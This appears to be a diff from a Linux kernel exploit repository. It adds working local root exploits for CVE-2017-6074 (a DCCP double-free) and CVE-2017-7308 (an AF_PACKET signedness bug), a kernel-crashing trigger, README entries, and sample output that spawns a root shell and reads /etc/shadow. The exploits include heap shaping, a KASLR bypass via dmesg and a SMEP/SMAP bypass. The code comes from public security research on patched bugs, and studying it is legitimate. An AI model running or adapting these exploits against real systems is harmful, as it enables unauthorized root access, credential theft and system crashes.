udp_fifo_init(&uh1);
udp_fifo_init(&uh2);
udp_fifo_init(&uh3);
debug("kmalloc pad");
kmalloc_pad();
debug("kmalloc warm");
kmalloc_warm();
debug("dccp init");
dccp_init(&dh, port++);
debug("dccp kmalloc kfree");
dccp_kmalloc_kfree(&dh);
debug("catch 1");
for (i = 0; i < CATCH_FIRST; i++)
udp_fifo_kmalloc(&uh1, &dummy[0]);
debug("dccp kfree again:");
dccp_kfree_again(&dh);
debug("catch 2");
for (i = 0; i < CATCH_FIRST; i++)
udp_fifo_kmalloc(&uh2, &dummy[0]);
debug("catch 1 -> overwrite");
for (i = 0; i < CATCH_FIRST; i++) {
udp_fifo_kfree(&uh1);
sendmmsg_kmalloc_kfree(port++, &buffer[0]);
}
debug("catch 2 -> free & trigger");
for (i = 0; i < CATCH_FIRST; i++)
udp_fifo_kfree(&uh2);
debug("catch 1 & 2");
for (i = 0; i < CATCH_AGAIN; i++)
udp_fifo_kmalloc(&uh3, &dummy[0]);
printf("[.] done\n");
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
void get_root_payload(void) {
commit_creds(prepare_kernel_cred(0));
}
void get_root() {
printf("[.] getting root\n");
kernel_exec(&get_root_payload);
printf("[.] should be root now\n");
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
void exec_shell() {
char *shell = "/bin/bash";
char *args[] = {shell, "-i", NULL};
execve(shell, args, NULL);
}
void fork_shell() {
pid_t rv;
rv = fork();
if (rv == -1) {
perror("fork()");
exit(EXIT_FAILURE);
}
if (rv == 0) {
exec_shell();
}
}
bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}
void check_root() {
printf("[.] checking if we got root\n");
if (!is_root()) {
printf("[-] something went wrong =(\n");
printf("[!] don't kill the exploit binary, the kernel will crash\n");
return;
}
printf("[+] got r00t ^_^\n");
printf("[!] don't kill the exploit binary, the kernel will crash\n");
// Fork and exec instead of just doing the exec to avoid freeing
// skbuffs and prevent crashes due to a allocator corruption.
fork_shell();
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
perror("unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
perror("write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("sched_setaffinity()");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
perror("system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
printf("[.] namespace sandbox setup successfully\n");
}
int main() {
setup_sandbox();
#if SMEP_SMAP_BYPASS
disable_smep_smap();
#endif
get_root();
check_root();
while (true) {
sleep(100);
}
return 0;
}

54
2017/CVE-2017-6074/trigger.c Executable file
View File

@ -0,0 +1,54 @@
// A trigger for CVE-2017-6074, crashes kernel.
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
//
// Andrey Konovalov <andreyknvl@gmail.com>
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
int main() {
struct sockaddr_in6 sa1;
sa1.sin6_family = AF_INET6;
sa1.sin6_port = htons(20002);
inet_pton(AF_INET6, "::1", &sa1.sin6_addr);
sa1.sin6_flowinfo = 0;
sa1.sin6_scope_id = 0;
int optval = 8;
int s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
bind(s1, &sa1, 0x20);
listen(s1, 0x9);
setsockopt(s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, &optval, 4);
int s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
connect(s2, &sa1, 0x20);
shutdown(s1, SHUT_RDWR);
close(s1);
shutdown(s2, SHUT_RDWR);
close(s2);
return 0;
}

8
2017/CVE-2017-7308/README.md Executable file
View File

@ -0,0 +1,8 @@
CVE-2017-7308
=============
- [CVE-2017-7308](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7308)
This is a proof-of-concept local root exploit for the vulnerability in the AF\_PACKET sockets implementation [CVE-2017-7308](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-6074).
Details are here: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html

497
2017/CVE-2017-7308/poc.c Executable file
View File

@ -0,0 +1,497 @@
// A proof-of-concept local root exploit for CVE-2017-7308.
// Includes a SMEP & SMAP bypass.
// Tested on 4.8.0-41-generic Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [.] done, kernel text: ffffffff87000000
// [.] commit_creds: ffffffff870a5cf0
// [.] prepare_kernel_cred: ffffffff870a60e0
// [.] native_write_cr4: ffffffff87064210
// [.] padding heap
// [.] done, heap is padded
// [.] SMEP & SMAP bypass enabled, turning them off
// [.] done, SMEP & SMAP should be off now
// [.] executing get root payload 0x401516
// [.] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <netinet/if_ether.h>
#include <net/if.h>
#define ENABLE_KASLR_BYPASS 1
#define ENABLE_SMEP_SMAP_BYPASS 1
// Will be overwritten if ENABLE_KASLR_BYPASS
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Kernel symbol offsets
#define COMMIT_CREDS 0xa5cf0ul
#define PREPARE_KERNEL_CRED 0xa60e0ul
#define NATIVE_WRITE_CR4 0x64210ul
// Should have SMEP and SMAP bits disabled
#define CR4_DESIRED_VALUE 0x407f0ul
#define KMALLOC_PAD 512
#define PAGEALLOC_PAD 1024
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
typedef uint32_t u32;
// $ pahole -C hlist_node ./vmlinux
struct hlist_node {
struct hlist_node * next; /* 0 8 */
struct hlist_node * * pprev; /* 8 8 */
};
// $ pahole -C timer_list ./vmlinux
struct timer_list {
struct hlist_node entry; /* 0 16 */
long unsigned int expires; /* 16 8 */
void (*function)(long unsigned int); /* 24 8 */
long unsigned int data; /* 32 8 */
u32 flags; /* 40 4 */
int start_pid; /* 44 4 */
void * start_site; /* 48 8 */
char start_comm[16]; /* 56 16 */
};
// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
#define TIMER_OFFSET 896
// pakcet_sock->xmit
#define XMIT_OFFSET 1304
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
perror("[-] setsockopt(PACKET_VERSION)");
exit(EXIT_FAILURE);
}
struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
perror("[-] setsockopt(PACKET_RX_RING)");
exit(EXIT_FAILURE);
}
}
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
perror("[-] socket(AF_PACKET)");
exit(EXIT_FAILURE);
}
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
perror("[-] bind(AF_PACKET)");
exit(EXIT_FAILURE);
}
return s;
}
void packet_socket_send(int s, char *buffer, int size) {
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_halen = ETH_ALEN;
if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
sizeof(sa)) < 0) {
perror("[-] sendto(SOCK_RAW)");
exit(EXIT_FAILURE);
}
}
void loopback_send(char *buffer, int size) {
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (s == -1) {
perror("[-] socket(SOCK_RAW)");
exit(EXIT_FAILURE);
}
packet_socket_send(s, buffer, size);
}
int packet_sock_kmalloc() {
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (s == -1) {
perror("[-] socket(SOCK_DGRAM)");
exit(EXIT_FAILURE);
}
return s;
}
void packet_sock_timer_schedule(int s, int timeout) {
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}
void packet_sock_id_match_trigger(int s) {
char buffer[16];
packet_socket_send(s, &buffer[0], sizeof(buffer));
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
#define V3_ALIGNMENT (8)
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))
#define ETH_HDR_LEN sizeof(struct ethhdr)
#define IP_HDR_LEN sizeof(struct iphdr)
#define UDP_HDR_LEN sizeof(struct udphdr)
#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
int oob_setup(int offset) {
unsigned int maclen = ETH_HDR_LEN;
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
(maclen < 16 ? 16 : maclen));
unsigned int macoff = netoff - maclen;
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
0x8000 - BLK_HDR_LEN - macoff + offset;
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}
void oob_write(char *buffer, int size) {
loopback_send(buffer, size);
}
void oob_timer_execute(void *func, unsigned long arg) {
oob_setup(2048 + TIMER_OFFSET - 8);
int i;
for (i = 0; i < 32; i++) {
int timer = packet_sock_kmalloc();
packet_sock_timer_schedule(timer, 1000);
}
char buffer[2048];
memset(&buffer[0], 0, sizeof(buffer));
struct timer_list *timer = (struct timer_list *)&buffer[8];
timer->function = func;
timer->data = arg;
timer->flags = 1;
oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
sleep(1);
}
void oob_id_match_execute(void *func) {
int s = oob_setup(2048 + XMIT_OFFSET - 64);
int ps[32];
int i;
for (i = 0; i < 32; i++)
ps[i] = packet_sock_kmalloc();
char buffer[2048];
memset(&buffer[0], 0, 2048);
void **xmit = (void **)&buffer[64];
*xmit = func;
oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
for (i = 0; i < 32; i++)
packet_sock_id_match_trigger(ps[i]);
}
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
void kmalloc_pad(int count) {
int i;
for (i = 0; i < count; i++)
packet_sock_kmalloc();
}
void pagealloc_pad(int count) {
packet_socket_setup(0x8000, 2048, count, 0, 100);
}
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
void get_root_payload(void) {
((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
);
}
// * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * *
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
unsigned long get_kernel_addr() {
int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
exit(EXIT_FAILURE);
}
size = (size / getpagesize() + 1) * getpagesize();
char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
if (size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
exit(EXIT_FAILURE);
}
const char *needle1 = "Freeing SMP";
char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1);
exit(EXIT_FAILURE);
}
for (size = 0; substr[size] != '\n'; size++);
const char *needle2 = "ffff";
substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2);
exit(EXIT_FAILURE);
}
char *endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
return r;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
void exec_shell() {
char *shell = "/bin/bash";
char *args[] = {shell, "-i", NULL};
execve(shell, args, NULL);
}
void fork_shell() {
pid_t rv;
rv = fork();
if (rv == -1) {
perror("[-] fork()");
exit(EXIT_FAILURE);
}
if (rv == 0) {
exec_shell();
}
}
bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}
void check_root() {
printf("[.] checking if we got root\n");
if (!is_root()) {
printf("[-] something went wrong =(\n");
return;
}
printf("[+] got r00t ^_^\n");
// Fork and exec instead of just doing the exec to avoid potential
// memory corruptions when closing packet sockets.
fork_shell();
}
bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
}
int main() {
printf("[.] starting\n");
setup_sandbox();
printf("[.] namespace sandbox set up\n");
#if ENABLE_KASLR_BYPASS
printf("[.] KASLR bypass enabled, getting kernel addr\n");
KERNEL_BASE = get_kernel_addr();
printf("[.] done, kernel text: %lx\n", KERNEL_BASE);
#endif
printf("[.] commit_creds: %lx\n", KERNEL_BASE + COMMIT_CREDS);
printf("[.] prepare_kernel_cred: %lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED);
#if ENABLE_SMEP_SMAP_BYPASS
printf("[.] native_write_cr4: %lx\n", KERNEL_BASE + NATIVE_WRITE_CR4);
#endif
printf("[.] padding heap\n");
kmalloc_pad(KMALLOC_PAD);
pagealloc_pad(PAGEALLOC_PAD);
printf("[.] done, heap is padded\n");
#if ENABLE_SMEP_SMAP_BYPASS
printf("[.] SMEP & SMAP bypass enabled, turning them off\n");
oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
printf("[.] done, SMEP & SMAP should be off now\n");
#endif
printf("[.] executing get root payload %p\n", &get_root_payload);
oob_id_match_execute((void *)&get_root_payload);
printf("[.] done, should be root now\n");
check_root();
while (1) sleep(1000);
return 0;
}

View File

@ -12,12 +12,26 @@ linux-kernel-exploits
- [CVE-2017-1000367](./2017/CVE-2017-1000367)  [Sudo]
(Sudo 1.8.6p7 - 1.8.20)
- [CVE-2017-1000112](./2017/CVE-2017-1000112)  [a memory corruption due to UFO to non-UFO path switch]
- [CVE-2017-7494](./2017/CVE-2017-7494)  [Samba Remote execution]
(Samba 3.5.0-4.6.4/4.5.10/4.4.14)
- [CVE-2017-7308](./2017/CVE-2017-7308)  [a signedness issue in AF\_PACKET sockets]
(Linux kernel through 4.10.6)
- [CVE-2017-6074](./2017/CVE-2017-6074)  [a double-free in DCCP protocol]
(Linux kernel through 4.9.11)
- [CVE-2016-9793](./2016/CVE-2016-9793)  [a signedness issue with SO\_SNDBUFFORCE and SO\_RCVBUFFORCE socket options]
(Linux kernel before 4.8.14)
- [CVE-2016-5195](./2016/CVE-2016-5195)  [Dirty cow]
(Linux kernel>2.6.22 (released in 2007))
- [CVE-2016-2384](./2016/CVE-2016-2384)  [a double-free in USB MIDI driver]
(Linux kernel before 4.5)
- [CVE-2016-0728](./2016/CVE-2016-0728)  [pp_key]
(3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1)
@ -156,6 +170,7 @@ linux-kernel-exploits
- [kernel exploits](https://www.kernel-exploits.com/)
- [Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/)
- [A bunch of proof-of-concept exploits for the Linux kernel](https://github.com/xairy/kernel-exploits)
### 转载